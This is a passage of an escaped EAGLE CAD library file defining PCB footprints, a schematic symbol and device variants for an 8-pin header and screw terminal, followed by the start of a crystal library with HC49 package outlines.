x1=\"16.764\" y1=\"0\" x2=\"16.256\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"19.05\" y1=\"0\" x2=\"19.05\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"19.05\" y1=\"-0.9906\" x2=\"18.7706\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"19.05\" y1=\"0\" x2=\"19.05\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"19.05\" y1=\"0.9906\" x2=\"18.7706\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"19.05\" y1=\"0\" x2=\"18.796\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0.127\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"-0.127\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0.127\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"4\" x=\"7.62\" y=\"-0.127\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"5\" x=\"10.16\" y=\"0.127\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"6\" x=\"12.7\" y=\"-0.127\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"7\" x=\"15.24\" y=\"0.127\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"8\" x=\"17.78\" y=\"-0.127\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.905\" size=\"1.27\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"4.7879\" y1=\"-0.2921\" x2=\"5.3721\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"7.3279\" y1=\"-0.2921\" x2=\"7.9121\" y2=\"0.2921\" layer=\"51\" rot=\"R90\"/>\n<rectangle x1=\"9.8679\" y1=\"-0.2921\" x2=\"10.4521\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"12.4079\" y1=\"-0.2921\" x2=\"12.9921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"14.9479\" y1=\"-0.2921\" x2=\"15.5321\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"17.4879\" y1=\"-0.2921\" x2=\"18.0721\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"1X08_LONGPADS\">\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"19.05\" y1=\"0.635\" x2=\"19.05\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"4\" x=\"7.62\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"5\" x=\"10.16\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"6\" x=\"12.7\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"7\" x=\"15.24\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"8\" x=\"17.78\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"2.4638\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.81\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"14.986\" y1=\"-0.254\" x2=\"15.494\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"12.446\" y1=\"-0.254\" x2=\"12.954\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"9.906\" y1=\"-0.254\" x2=\"10.414\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"7.366\" y1=\"-0.254\" x2=\"7.874\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"17.526\" y1=\"-0.254\" x2=\"18.034\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-8\">\n<wire x1=\"-2.3\" y1=\"3.4\" x2=\"26.76\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"26.76\" y1=\"3.4\" x2=\"26.76\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"26.76\" y1=\"-2.8\" x2=\"26.76\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"26.76\" y1=\"-3.6\" x2=\"-2.3\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-3.6\" x2=\"-2.3\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-2.8\" x2=\"-2.3\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"26.76\" y1=\"-2.8\" x2=\"-2.3\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-1.35\" x2=\"-2.7\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.7\" y1=\"-1.35\" x2=\"-2.7\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.7\" y1=\"-2.35\" x2=\"-2.3\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"26.76\" y1=\"3.15\" x2=\"27.16\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"27.16\" y1=\"3.15\" x2=\"27.16\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"27.16\" y1=\"2.15\" x2=\"26.76\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.2\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.5\" y=\"0\" drill=\"1.2\"/>\n<pad name=\"3\" x=\"7\" y=\"0\" drill=\"1.2\"/>\n<pad name=\"4\" x=\"10.5\" y=\"0\" drill=\"1.2\"/>\n<pad name=\"5\" x=\"14\" y=\"0\" drill=\"1.2\"/>\n<pad name=\"6\" x=\"17.5\" y=\"0\" drill=\"1.2\"/>\n<pad name=\"7\" x=\"21\" y=\"0\" drill=\"1.2\"/>\n<pad name=\"8\" x=\"24.5\" y=\"0\" drill=\"1.2\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n</packages>\n<symbols>\n<symbol name=\"M08\">\n<wire x1=\"1.27\" y1=\"-10.16\" x2=\"-5.08\" y2=\"-10.16\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"-2.54\" x2=\"0\" y2=\"-2.54\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"-5.08\" x2=\"0\" y2=\"-5.08\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"-7.62\" x2=\"0\" y2=\"-7.62\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-5.08\" y1=\"12.7\" x2=\"-5.08\" y2=\"-10.16\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"-10.16\" x2=\"1.27\" y2=\"12.7\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-5.08\" y1=\"12.7\" x2=\"1.27\" y2=\"12.7\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"2.54\" x2=\"0\" y2=\"2.54\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"0\" y2=\"0\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"5.08\" x2=\"0\" y2=\"5.08\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"7.62\" x2=\"0\" y2=\"7.62\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"10.16\" x2=\"0\" y2=\"10.16\" width=\"0.6096\" layer=\"94\"/>\n<text x=\"-5.08\" y=\"-12.7\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<text x=\"-5.08\" y=\"13.462\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<pin name=\"1\" x=\"5.08\" y=\"-7.62\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"2\" x=\"5.08\" y=\"-5.08\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"3\" x=\"5.08\" y=\"-2.54\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"4\" x=\"5.08\" y=\"0\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"5\" x=\"5.08\" y=\"2.54\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"6\" x=\"5.08\" y=\"5.08\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"7\" x=\"5.08\" y=\"7.62\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"8\" x=\"5.08\" y=\"10.16\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"M08\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;Header 8&lt;/b&gt;\nStandard 8-pin 0.1\" header. Use with straight break away headers (SKU : PRT-00116), right angle break away headers (PRT-00553), swiss pins (PRT-00743), machine pins (PRT-00117), and female headers (PRT-00115).</description>\n<gates>\n<gate name=\"G$1\" symbol=\"M08\" x=\"-2.54\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"1X08\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"4\" pad=\"4\"/>\n<connect gate=\"G$1\" pin=\"5\" pad=\"5\"/>\n<connect gate=\"G$1\" pin=\"6\" pad=\"6\"/>\n<connect gate=\"G$1\" pin=\"7\" pad=\"7\"/>\n<connect gate=\"G$1\" pin=\"8\" pad=\"8\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK\" package=\"1X08_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"4\" pad=\"4\"/>\n<connect gate=\"G$1\" pin=\"5\" pad=\"5\"/>\n<connect gate=\"G$1\" pin=\"6\" pad=\"6\"/>\n<connect gate=\"G$1\" pin=\"7\" pad=\"7\"/>\n<connect gate=\"G$1\" pin=\"8\" pad=\"8\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK_LONGPADS\" package=\"1X08_LOCK_LONGPADS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"4\" pad=\"4\"/>\n<connect gate=\"G$1\" pin=\"5\" pad=\"5\"/>\n<connect gate=\"G$1\" pin=\"6\" pad=\"6\"/>\n<connect gate=\"G$1\" pin=\"7\" pad=\"7\"/>\n<connect gate=\"G$1\" pin=\"8\" pad=\"8\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LONGPADS\" package=\"1X08_LONGPADS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"4\" pad=\"4\"/>\n<connect gate=\"G$1\" pin=\"5\" pad=\"5\"/>\n<connect gate=\"G$1\" pin=\"6\" pad=\"6\"/>\n<connect gate=\"G$1\" pin=\"7\" pad=\"7\"/>\n<connect gate=\"G$1\" pin=\"8\" pad=\"8\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3.5MM-8\" package=\"SCREWTERMINAL-3.5MM-8\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"4\" pad=\"4\"/>\n<connect gate=\"G$1\" pin=\"5\" pad=\"5\"/>\n<connect gate=\"G$1\" pin=\"6\" pad=\"6\"/>\n<connect gate=\"G$1\" pin=\"7\" pad=\"7\"/>\n<connect gate=\"G$1\" pin=\"8\" pad=\"8\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"crystal\">\n<description>&lt;b&gt;Crystals and Crystal Resonators&lt;/b&gt;&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"HC49UP\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-5.1091\" y1=\"1.143\" x2=\"-3.429\" y2=\"2.0321\" width=\"0.0508\" layer=\"21\" curve=\"-55.770993\"/>\n<wire x1=\"-5.715\" y1=\"1.143\" x2=\"-5.715\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"2.032\" x2=\"5.1091\" y2=\"1.143\" width=\"0.0508\" layer=\"21\" curve=\"-55.772485\"/>\n<wire x1=\"5.715\" y1=\"1.143\" x2=\"5.715\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"-1.27\" x2=\"-3.429\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"-2.032\" x2=\"-3.429\" y2=\"-2.032\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"1.27\" x2=\"3.429\" y2=\"1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"5.461\" y1=\"-2.413\" x2=\"-5.461\" y2=\"-2.413\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"-0.381\" x2=\"6.477\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"0.381\" x2=\"6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.477\" y1=\"-0.381\" x2=\"6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.461\" y1=\"-2.413\" x2=\"5.715\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"5.715\" y1=\"-1.143\" x2=\"5.715\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"-2.159\" x2=\"5.715\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"-1.27\" x2=\"3.9826\" y2=\"-1.143\" width=\"0.0508\" layer=\"21\" curve=\"25.842828\"/>\n<wire x1=\"3.429\" y1=\"1.27\" x2=\"3.9826\" y2=\"1.143\" width=\"0.0508\" layer=\"21\" curve=\"-25.842828\"/>\n<wire x1=\"3.429\" y1=\"-2.032\" x2=\"5.109\" y2=\"-1.1429\" width=\"0.0508\" layer=\"21\" curve=\"55.771157\"/>\n<wire x1=\"3.9826\" y1=\"-1.143\" x2=\"3.9826\" y2=\"1.143\" width=\"0.0508\" layer=\"51\" curve=\"128.314524\"/>\n<wire x1=\"5.1091\" y1=\"-1.143\" x2=\"5.1091\" y2=\"1.143\" width=\"0.0508\" layer=\"51\" curve=\"68.456213\"/>\n<wire x1=\"-5.1091\" y1=\"-1.143\" x2=\"-3.429\" y2=\"-2.032\" width=\"0.0508\" layer=\"21\" curve=\"55.772485\"/>\n<wire x1=\"-3.9826\" y1=\"-1.143\" x2=\"-3.9826\" y2=\"1.143\" width=\"0.0508\" layer=\"51\" curve=\"-128.314524\"/>\n<wire x1=\"-3.9826\" y1=\"-1.143\" x2=\"-3.429\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\" curve=\"25.842828\"/>\n<wire x1=\"-3.9826\" y1=\"1.143\" x2=\"-3.429\" y2=\"1.27\" width=\"0.0508\" layer=\"21\" curve=\"-25.842828\"/>\n<wire x1=\"-6.477\" y1=\"-0.381\" x2=\"-6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1091\" y1=\"-1.143\" x2=\"-5.1091\" y2=\"1.143\" width=\"0.0508\" layer=\"51\" curve=\"-68.456213\"/>\n<wire x1=\"-5.715\" y1=\"-1.143\" x2=\"-5.715\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"-0.381\" x2=\"-5.715\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"0.381\" x2=\"-5.715\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"-2.159\" x2=\"-5.715\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"-2.159\" x2=\"-5.461\" y2=\"-2.413\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.715\" y1=\"-0.381\" x2=\"-6.477\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"0.381\" x2=\"-6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.429\" y1=\"2.032\" x2=\"3.429\" y2=\"2.032\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"5.461\" y1=\"2.413\" x2=\"-5.461\" y2=\"2.413\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.461\" y1=\"2.413\" x2=\"5.715\" y2=\"2.159\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.715\" y1=\"2.159\" x2=\"-5.461\" y2=\"2.413\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-0.254\" y1=\"0.635\" x2=\"-0.254\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"-0.635\" x2=\"0.254\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"-0.635\" x2=\"0.254\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0.635\" x2=\"-0.254\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0.635\" x2=\"-0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-0.635\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-1.016\" y2=\"0\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0.635\" x2=\"0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"0.635\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"1.016\" y2=\"0\" width=\"0.0508\" layer=\"21\"/>\n<smd name=\"1\" x=\"-4.826\" y=\"0\" dx=\"5.334\" dy=\"1.9304\" layer=\"1\"/>\n<smd name=\"2\" x=\"4.826\" y=\"0\" dx=\"5.334\" dy=\"1.9304\" layer=\"1\"/>\n<text x=\"-5.715\" y=\"2.794\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.715\" y=\"-4.191\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-6.604\" y1=\"-3.048\" x2=\"6.604\" y2=\"3.048\" layer=\"43\"/>\n</package>\n<package name=\"HC49/S\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-3.048\" y1=\"-2.159\" x2=\"3.048\" y2=\"-2.159\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"2.159\" x2=\"3.048\" y2=\"2.159\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"-1.651\" x2=\"3.048\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.048\" y1=\"1.651\" x2=\"-3.048\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"0.254\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0.762\" x2=\"0.254\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"-0.762\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"-0.762\" x2=\"-0.254\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0.762\" x2=\"0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"0.635\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0.762\" x2=\"-0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-0.635\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"1.27\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"2.159\" x2=\"-3.048\" y2=\"-2.159\" width=\"0.4064\" layer=\"21\" curve=\"180\"/>\n<wire x1=\"3.048\" y1=\"-2.159\" x2=\"3.048\" y2=\"2.159\" width=\"0.4064\" layer=\"21\" curve=\"180\"/>\n<wire x1=\"-3.048\" y1=\"1.651\" x2=\"-3.048\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\" curve=\"180\"/>\n<wire x1=\"3.048\" y1=\"-1.651\" x2=\"3.048\" y2=\"1.651\" width=\"0.1524\" layer=\"21\" curve=\"180\"/>\n<pad name=\"1\" x=\"-2.413\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"2.413\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"-5.08\" y=\"2.667\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-3.937\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-4.445\" y1=\"-2.54\" x2=\"4.445\" y2=\"2.54\" layer=\"43\"/>\n<rectangle x1=\"-5.08\" y1=\"-1.905\" x2=\"-4.445\" y2=\"1.905\" layer=\"43\"/>\n<rectangle x1=\"-5.715\" y1=\"-1.27\" x2=\"-5.08\" y2=\"1.27\" layer=\"43\"/>\n<rectangle x1=\"4.445\" y1=\"-1.905\" x2=\"5.08\" y2=\"1.905\" layer=\"43\"/>\n<rectangle x1=\"5.08\" y1=\"-1.27\" x2=\"5.715\" y2=\"1.27\" layer=\"43\"/>\n</package>\n<package name=\"HC49GW\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-5.08\" y1=\"-6.35\" x2=\"5.08\" y2=\"-6.35\" width=\"0.8128\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"6.731\" x2=\"1.016\" y2=\"6.731\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.016\" y1=\"6.731\" x2=\"-1.016\" y2=\"6.731\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.016\" y1=\"6.731\" x2=\"-4.445\" y2=\"6.731\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"6.731\" x2=\"5.08\" y2=\"6.096\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"6.096\" x2=\"-4.445\" y2=\"6.731\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-0.3302\" y1=\"5.08\" x2=\"-0.3302\" y2=\"2.54\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3302\" y1=\"2.54\" x2=\"0.3048\" y2=\"2.54\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"2.54\" x2=\"0.3048\" y2=\"5.08\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"5.08\" x2=\"-0.3302\" y2=\"5.08\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"5.08\" x2=\"0.9398\" y2=\"3.81\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"5.08\" x2=\"-0.9398\" y2=\"3.81\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"3.81\" x2=\"2.032\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.9398\" y1=\"3.81\" x2=\"0.9398\" y2=\"2.54\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"3.81\" x2=\"-2.032\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9398\" y1=\"3.81\" x2=\"-0.9398\" y2=\"2.54\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-6.604\" x2=\"-2.413\" y2=\"-8.255\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-6.477\" x2=\"2.413\" y2=\"-8.382\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"-6.35\" x2=\"5.08\" y2=\"6.096\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"6.096\" x2=\"-5.08\" y2=\"-6.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"8.382\" x2=\"0\" y2=\"6.985\" width=\"0.6096\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.413\" y=\"-8.001\" dx=\"1.27\" dy=\"2.54\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.413\" y=\"-8.001\" dx=\"1.27\" dy=\"2.54\" layer=\"1\"/>\n<smd name=\"3\" x=\"0\" y=\"8.001\" dx=\"1.27\" dy=\"2.794\" layer=\"1\"/>\n<text x=\"-5.588\" y=\"-5.08\" size=\"1.27\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-5.08\" size=\"1.27\" layer=\"27\" ratio=\"10\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-5.715\" y1=\"-8.255\" x2=\"5.715\" y2=\"8.255\" layer=\"43\"/>\n</package>\n<package 